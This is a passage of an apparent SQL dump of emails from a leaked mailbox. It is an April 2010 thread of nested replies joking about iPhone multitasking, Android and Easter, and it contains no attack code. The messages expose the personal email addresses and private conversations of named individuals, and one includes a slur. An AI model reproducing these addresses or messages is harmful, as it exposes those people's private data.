PM, Ted Vera  wrote:\r\n>>>>>>>>\r\n>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>> battery\r\n>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>> android.\r\n>>>>>>>>>\r\n>>>>>>>>> Tv\r\n>>>>>>>>>\r\n>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>\r\n>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>>>>\r\n>>>>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>>>>> just be\r\n>>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>>> rather\r\n>>>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone and\r\n>>>>>>>> have\r\n>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>\r\n>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>> download.\r\n>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/yd0ACgkQJiBdlDsg/MA0gACglvntXHs9nYuKuBREqVhSQ/zo\r\nWPYAnRkNcXOlPJIMmNYra5cfDbjozn8y\r\n=ED+U\r\n-----END PGP SIGNATURE-----\r\n',15443,'aaron_hbgary_com/15443.html'),(5130,'2010-04-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003256.M771858P3547Q5130.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Addicting','Ah right. Wait isn\'t that reincarnation?  Stop your not a Buddhist!\r\n\r\n From my iPhone\r\n\r\nOn Apr 9, 2010, at 8:42 PM, Ted Vera  wrote:\r\n\r\n> On Easter Jesus rose from the grave, and was reincarnated as the\r\n> Easter Bunny. Dummy.\r\n>\r\n> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>\r\n>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>> raising from the grave?\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>\r\n>>> -----BEGIN PGP SIGNED MESSAGE-----\r\n>>> Hash: SHA1\r\n>>>\r\n>>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>>> Linux\r\n>>> boxes for so long I\'m just happy when the OK button shows up in the\r\n>>> right place, but using jesus rising from the dead as a point of\r\n>>> reference so close after easter has got to just be wrong.  Plus, I\r\n>>> feel\r\n>>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>>>\r\n>>> Aaron Barr wrote:\r\n>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>>> like\r\n>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>> parlor\r\n>>>> trick.\r\n>>>>\r\n>>>>\r\n>>>> From my iPhone\r\n>>>>\r\n>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>\r\n>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>> retarded\r\n>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>> around\r\n>>>> but I wouldn\'t call it elegant.\r\n>>>>\r\n>>>> Aaron Barr wrote:\r\n>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>\r\n>>>>>>> From my iPhone\r\n>>>>>>>\r\n>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>\r\n>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>> battery\r\n>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>> android.\r\n>>>>>>>>\r\n>>>>>>>> Tv\r\n>>>>>>>>\r\n>>>>>>>> Sent from my iPad\r\n>>>>>>>>\r\n>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>>>\r\n>>>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>>>> just be\r\n>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>> rather\r\n>>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone\r\n>>>>>>> and\r\n>>>>>>> have\r\n>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>\r\n>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>> download.\r\n>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>>> -----BEGIN PGP SIGNATURE-----\r\n>>> Version: GnuPG v1.4.9 (GNU/Linux)\r\n>>> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>>>\r\n>>> iEYEARECAAYFAku/yGIACgkQJiBdlDsg/MAvwgCfTsTBHDYvFCj0DTgnCxnYdaz5\r\n>>> akgAn2hsNek6K/b5X+Mzv6CJz3QQVME9\r\n>>> =y+CZ\r\n>>> -----END PGP SIGNATURE-----\r\n',12768,'aaron_hbgary_com/12768.html'),(5131,'2010-04-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003256.M958100P3547Q5131.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Addicting','We are all going to hell. I heard Google just acquired hell. To  \r\ncompensate for the market share they lost pulling out of china.\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 6:44 PM, mark  wrote:\r\n\r\n> -----BEGIN PGP SIGNED MESSAGE-----\r\n> Hash: SHA1\r\n>\r\n> Then we took that bunny, dipped it in chocolate and ate it.  Like\r\n> Christs body during sacrament.\r\n>\r\n> That sounds weird enough to be true.\r\n>\r\n>\r\n> Ted Vera wrote:\r\n>> On Easter Jesus rose from the grave, and was reincarnated as the  \r\n>> Easter\r\n>> Bunny. Dummy.\r\n>>\r\n>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>\r\n>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>> raising from the grave?\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>\r\n>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>> Linux\r\n>> boxes for so long I\'m just happy when the OK button shows up in the\r\n>> right place, but using jesus rising from the dead as a point of\r\n>> reference so close after easter has got to just be wrong.  Plus, I\r\n>> feel\r\n>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>>\r\n>> Aaron Barr wrote:\r\n>>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>>>>> like\r\n>>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>>> parlor\r\n>>>>>> trick.\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> From my iPhone\r\n>>>>>>\r\n>>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>>\r\n>>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>>> retarded\r\n>>>>>> pet that keeps running into walls and glass doors.  It can get  \r\n>>>>>> around\r\n>>>>>> but I wouldn\'t call it elegant.\r\n>>>>>>\r\n>>>>>> Aaron Barr wrote:\r\n>>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>>\r\n>>>>>>>>> From my iPhone\r\n>>>>>>>>>\r\n>>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>>\r\n>>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>>> battery\r\n>>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>>> android.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Tv\r\n>>>>>>>>>>\r\n>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark   \r\n>>>>>>>>>> wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>> Still won\'t even when the new version comes out.  It appears  \r\n>>>>>>>>> to\r\n>>>>>>>>> just be\r\n>>>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>>>> rather\r\n>>>>>>>>> than true multitasking.  Apparently if you jailbreak an  \r\n>>>>>>>>> iPhone and\r\n>>>>>>>>> have\r\n>>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>>\r\n>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>>> download.\r\n>>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark  \r\n>>>>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n> -----BEGIN PGP SIGNATURE-----\r\n> Version: GnuPG v1.4.9 (GNU/Linux)\r\n> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>\r\n> iEYEARECAAYFAku/yd0ACgkQJiBdlDsg/MA0gACglvntXHs9nYuKuBREqVhSQ/zo\r\n> WPYAnRkNcXOlPJIMmNYra5cfDbjozn8y\r\n> =ED+U\r\n> -----END PGP SIGNATURE-----\r\n',8351,'aaron_hbgary_com/8351.html'),(5132,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003257.M721236P3547Q5132.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nI\'m zen buddhist.  You don\'t have to do anything for zen buddhism except\r\nreject the study of scriptures, religious rites, devotional practices,\r\nand good works and then meditate...which I call drinking.\r\n\r\nAaron Barr wrote:\r\n> Ah right. Wait isn\'t that reincarnation?  Stop your not a Buddhist!\r\n> \r\n>  From my iPhone\r\n> \r\n> On Apr 9, 2010, at 8:42 PM, Ted Vera  wrote:\r\n> \r\n>> On Easter Jesus rose from the grave, and was reincarnated as the\r\n>> Easter Bunny. Dummy.\r\n>>\r\n>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>\r\n>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>> raising from the grave?\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>\r\n> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n> Linux\r\n> boxes for so long I\'m just happy when the OK button shows up in the\r\n> right place, but using jesus rising from the dead as a point of\r\n> reference so close after easter has got to just be wrong.  Plus, I\r\n> feel\r\n> bad for people who believe in zombies, you\'ve gotta double tap.\r\n> \r\n> Aaron Barr wrote:\r\n>>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>>>>> like\r\n>>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>>> parlor\r\n>>>>>> trick.\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> From my iPhone\r\n>>>>>>\r\n>>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>>\r\n>>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>>> retarded\r\n>>>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>>>> around\r\n>>>>>> but I wouldn\'t call it elegant.\r\n>>>>>>\r\n>>>>>> Aaron Barr wrote:\r\n>>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>>\r\n>>>>>>>>> From my iPhone\r\n>>>>>>>>>\r\n>>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>>\r\n>>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>>> battery\r\n>>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>>> android.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Tv\r\n>>>>>>>>>>\r\n>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>>>>>> just be\r\n>>>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>>>> rather\r\n>>>>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone\r\n>>>>>>>>> and\r\n>>>>>>>>> have\r\n>>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>>\r\n>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>>> download.\r\n>>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/yqAACgkQJiBdlDsg/MC3CACeJSWimJTNMJAyV9Lr4ruXYZiR\r\n3OMAoJAdDzGYEbcOY3cQ4wzYR8zM20SG\r\n=Eq+u\r\n-----END PGP SIGNATURE-----\r\n',5569,'aaron_hbgary_com/5569.html'),(5133,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003257.M977293P3547Q5133.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nBeen there, played the game http://www.swfme.com/view/1046212\r\n\r\n\r\nTed Vera wrote:\r\n> We are all going to hell. I heard Google just acquired hell. To\r\n> compensate for the market share they lost pulling out of china.\r\n> \r\n> \r\n> \r\n> On Apr 9, 2010, at 6:44 PM, mark  wrote:\r\n> \r\n> Then we took that bunny, dipped it in chocolate and ate it.  Like\r\n> Christs body during sacrament.\r\n> \r\n> That sounds weird enough to be true.\r\n> \r\n> \r\n> Ted Vera wrote:\r\n>>>> On Easter Jesus rose from the grave, and was reincarnated as the Easter\r\n>>>> Bunny. Dummy.\r\n>>>>\r\n>>>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>>>\r\n>>>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>>>> raising from the grave?\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>>>\r\n>>>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>>>> Linux\r\n>>>> boxes for so long I\'m just happy when the OK button shows up in the\r\n>>>> right place, but using jesus rising from the dead as a point of\r\n>>>> reference so close after easter has got to just be wrong.  Plus, I\r\n>>>> feel\r\n>>>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>>>>\r\n>>>> Aaron Barr wrote:\r\n>>>>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>>>>>>> like\r\n>>>>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>>>>> parlor\r\n>>>>>>>> trick.\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> From my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>>>>\r\n>>>>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>>>>> retarded\r\n>>>>>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>>>>>> around\r\n>>>>>>>> but I wouldn\'t call it elegant.\r\n>>>>>>>>\r\n>>>>>>>> Aaron Barr wrote:\r\n>>>>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> From my iPhone\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>>>>> battery\r\n>>>>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>>>>> android.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Tv\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>>>>>>>> just be\r\n>>>>>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>>>>>> rather\r\n>>>>>>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone\r\n>>>>>>>>>>> and\r\n>>>>>>>>>>> have\r\n>>>>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>>>>> download.\r\n>>>>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/yxsACgkQJiBdlDsg/MChHQCdGqH4E/tzcyPlSvyiCBLDvxKh\r\ntr8An1hljZZQ9zivENflt08GSr3mh53y\r\n=FdGb\r\n-----END PGP SIGNATURE-----\r\n',2814,'aaron_hbgary_com/2814.html'),(5134,'2010-04-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003258.M164462P3547Q5134.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Addicting','That\'s just a technicality. He rose from the grave to return as the  \r\nmessiah, which is Greek for \"easter bunny\".\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 6:45 PM, Aaron Barr  wrote:\r\n\r\n> Ah right. Wait isn\'t that reincarnation? Stop your not a Buddhist!\r\n>\r\n> From my iPhone\r\n>\r\n> On Apr 9, 2010, at 8:42 PM, Ted Vera  wrote:\r\n>\r\n>> On Easter Jesus rose from the grave, and was reincarnated as the\r\n>> Easter Bunny. Dummy.\r\n>>\r\n>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>\r\n>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>> raising from the grave?\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>\r\n>>>> -----BEGIN PGP SIGNED MESSAGE-----\r\n>>>> Hash: SHA1\r\n>>>>\r\n>>>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>>>> Linux\r\n>>>> boxes for so long I\'m just happy when the OK button shows up in the\r\n>>>> right place, but using jesus rising from the dead as a point of\r\n>>>> reference so close after easter has got to just be wrong.  Plus, I\r\n>>>> feel\r\n>>>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>>>>\r\n>>>> Aaron Barr wrote:\r\n>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>>>> like\r\n>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>> parlor\r\n>>>>> trick.\r\n>>>>>\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>\r\n>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>> retarded\r\n>>>>> pet that keeps running into walls and glass doors.  It can get\r\n>>>>> around\r\n>>>>> but I wouldn\'t call it elegant.\r\n>>>>>\r\n>>>>> Aaron Barr wrote:\r\n>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>\r\n>>>>>>>> From my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>>>\r\n>>>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>>>> battery\r\n>>>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>>>> android.\r\n>>>>>>>>>\r\n>>>>>>>>> Tv\r\n>>>>>>>>>\r\n>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>\r\n>>>>>>>>> On Apr 9, 2010, at 6:15 PM, mark   \r\n>>>>>>>>> wrote:\r\n>>>>>>>>>\r\n>>>>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>>>>> just be\r\n>>>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>>>> rather\r\n>>>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone\r\n>>>>>>>> and\r\n>>>>>>>> have\r\n>>>>>>>> it multitask it slows to a crawl.\r\n>>>>>>>>\r\n>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>>>> download.\r\n>>>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>>>> -----BEGIN PGP SIGNATURE-----\r\n>>>> Version: GnuPG v1.4.9 (GNU/Linux)\r\n>>>> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>>>>\r\n>>>> iEYEARECAAYFAku/yGIACgkQJiBdlDsg/MAvwgCfTsTBHDYvFCj0DTgnCxnYdaz5\r\n>>>> akgAn2hsNek6K/b5X+Mzv6CJz3QQVME9\r\n>>>> =y+CZ\r\n>>>> -----END PGP SIGNATURE-----\r\n',10840,'aaron_hbgary_com/10840.html'),(5135,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003258.M358047P3547Q5135.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n? ?????? ?????????\r\n\r\nhttp://translate.google.com/#el|en|%CE%9F%20%CE%99%CE%B7%CF%83%CE%BF%CF%8D%CF%82%20%CE%BB%CE%B1%CE%B3%CE%BF%CF%85%CE%B4%CE%AC%CE%BA%CE%B9\r\n\r\nI love the internet!  And googles listen to this translation button is\r\njust hours of fun\r\n\r\nTed Vera wrote:\r\n> That\'s just a technicality. He rose from the grave to return as the\r\n> messiah, which is Greek for \"easter bunny\".\r\n> \r\n> \r\n> \r\n> On Apr 9, 2010, at 6:45 PM, Aaron Barr  wrote:\r\n> \r\n>> Ah right. Wait isn\'t that reincarnation? Stop your not a Buddhist!\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 9, 2010, at 8:42 PM, Ted Vera  wrote:\r\n>>\r\n>>> On Easter Jesus rose from the grave, and was reincarnated as the\r\n>>> Easter Bunny. Dummy.\r\n>>>\r\n>>> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n>>>\r\n>>>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>>>> raising from the grave?\r\n>>>>\r\n>>>> From my iPhone\r\n>>>>\r\n>>>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>>>\r\n> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n> Linux\r\n> boxes for so long I\'m just happy when the OK button shows up in the\r\n> right place, but using jesus rising from the dead as a point of\r\n> reference so close after easter has got to just be wrong.  Plus, I\r\n> feel\r\n> bad for people who believe in zombies, you\'ve gotta double tap.\r\n> \r\n> Aaron Barr wrote:\r\n>>>>>>> You can\'t tell us apple fanbois our gadgets 